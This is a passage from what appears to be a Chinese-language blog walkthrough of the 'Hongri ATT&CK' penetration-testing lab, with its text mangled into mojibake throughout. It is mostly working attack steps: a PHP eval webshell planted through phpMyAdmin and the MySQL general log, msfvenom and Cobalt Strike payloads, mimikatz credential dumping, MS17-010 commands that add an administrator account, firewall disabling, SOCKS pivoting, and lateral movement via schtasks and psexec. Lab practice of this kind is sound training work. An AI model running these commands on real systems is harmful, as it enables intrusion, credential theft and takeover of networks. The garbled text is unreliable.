Step 1>》信息收集

nmap 發(fā)現(xiàn)80、 3306

nmap -T4 -O 192.168.92.100

訪問(wèn)80端口

dirsearch(御劍)掃描

發(fā)現(xiàn)：/phpMyadmin

Step 2?》漏洞利用

1.弱口令

http://192.168.92.100/phpMyadmin

root/root 登錄成功

2.getshell

select @@basedir //查絕對(duì)路徑

into outfile 寫馬

select '<?php eval($_POST[cmd]);?>' into outfile 'C://絕對(duì)路徑/shell.php';

FAILED

?嘗試 MySQL日志馬

開(kāi)啟全局日志

SET Global_general_log='on' //開(kāi)啟

show variables like '%general%' //驗(yàn)證

set global general_log_file='絕對(duì)路徑/log.php' //設(shè)置日志文件

寫馬：

select "<?php eval($_POST['cmd']);?>"

ANTSword連接馬log.php

Step 3》yxcms漏洞

信息泄露 admin/123456

模板內(nèi)寫馬

antSword 連接成功

------------------------------

Step 4》?

msfvenom 生成馬 shell.exe

use exploit/multi/handler? #監(jiān)聽(tīng)

./shell.exe? //執(zhí)行shell.exe

提權(quán)：

meterpreter>shell

whoami //為system權(quán)限

Step 5>

Cobalt strike?

建立監(jiān)聽(tīng)(beacon http)

生成 exe馬cs-> attacks->packages->win Executable->x64->cs.exe

./cs.exe

---

sleep 1 #交互時(shí)間

Step 6》密碼、信息收集

shell ipconfig

shell whoami

shell net config workstation

host->Access->Run mimikatz //獲取pass

access->Elevate #賬戶提權(quán)

Step7 》 MSF->CS?

sessions -i

exploit/windows/local/payload_inject

set session 1

CS getshell成功

sleep 1

--

Step 8》CS->MSF(監(jiān)聽(tīng)7777)

new listener->foreign http(7777)

spawn->foreign/reverse_http(7777)

---

Step 9 》

socks 通過(guò)cs將msf帶入內(nèi)網(wǎng)

host->pivoting->socks sever->1080

setg Proxies socks4:192.168.92.130:1080

---------

--msf6->setg Proxies socks4:192.168.92.130:1080

use auxiliary/scanner/smb/smb_version

show? options

set rhosts 192.168.52.0/24

set threads 64

run

內(nèi)網(wǎng)開(kāi)放445->盲猜ms17_010漏洞

Step 10》

內(nèi)網(wǎng)信息收集

CS->

systeminfo //系統(tǒng)信息，發(fā)現(xiàn)4個(gè)補(bǔ)丁

net view

---

run post/windows/gather/enum_applications //安裝軟件信息

--

socks 反向代理

run post/multi/manage/autoroute

run autoroute -p

backgroud

use auxiliary/server/socks_proxy

set version 4a

set srvhost 127.0.0.1

run

jobs

利用MSF ARP模塊掃描52網(wǎng)段

use post/windows/gather/arp_scanner

set rhost 192.168.52.0/24

set sessions 1

run

CS arp掃描

shell arp -a

----

->meterpreter->getsystem

whoami

netsh advfirewall set allprofiles state off #關(guān)閉防火墻

-

nmap vuln漏洞掃描

nmap --script-vuln 192.168.92.100

msf 輔助模塊掃描-->search ms17_010

use 3

show options

set rhost 192.168.52.143

----

CS上利用目標(biāo)機(jī)上的nmap (上傳nmap.exe)對(duì)內(nèi)網(wǎng)其他主機(jī)進(jìn)行掃描

nmap --script-vuln 192.168.52.141

open port scan

Step 11>內(nèi)網(wǎng)攻擊

msf CS聯(lián)動(dòng)

use auxiliary/admin/smb/ms17_010_command

set command net user test test123 /add

run

set command net localgroup administrators test test123 /add

run

--23端口 telnet 服務(wù)上傳漏洞，ms17_010 開(kāi)啟23端口telnet

set command sc config tlntsvr start=auto

run

set command net start telnet

run

set command netstat -an

run

--telnet連接

use auxiliary/scanner/telnet/telnet_login

set username test

set password test123

set rhost 192.168.52.138

run

----

ms08_068

socks 將 msf帶入內(nèi)網(wǎng)后利用ms08_068

use auxiliary/scanner/smb/smb_version

search ms08_067

use 0

run

SMB 遠(yuǎn)程桌面密碼猜測(cè)：

use exploit/multi/handler

search smb_login

use 0

set rhosts 192.168.52.141

set smbpass test@123

set smbdomain god

set smbuser administrator

run

橫向移動(dòng)-----

msf-CS聯(lián)動(dòng)，在win7上連接C盤

meterpreter->shell

net use \\192.168.52.138\c$ 'test123' /user:"administrator"

dir \\192.168.52.138

copy c:\phpstudy\www\shell.exe \\192.168.52.138\c$

schtasks /create /tn "godunt" /tr C:\shell.exe /sc once /st 12:45 /S 192.168.52.138 /RU System /u administrator /p "test123"

---

CS->psexec 模塊進(jìn)行橫向移動(dòng)

new listener->becon SMB->save

host->jump->psexec->

administrator

test123

god.org

beacon smb

administrator * via 192.168.92.100@3756

lunch文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-493393.html

到了這里，關(guān)于紅日ATT&CK系列靶場(chǎng)(-)簡(jiǎn)記的文章就介紹完了。如果您還想了解更多內(nèi)容，請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！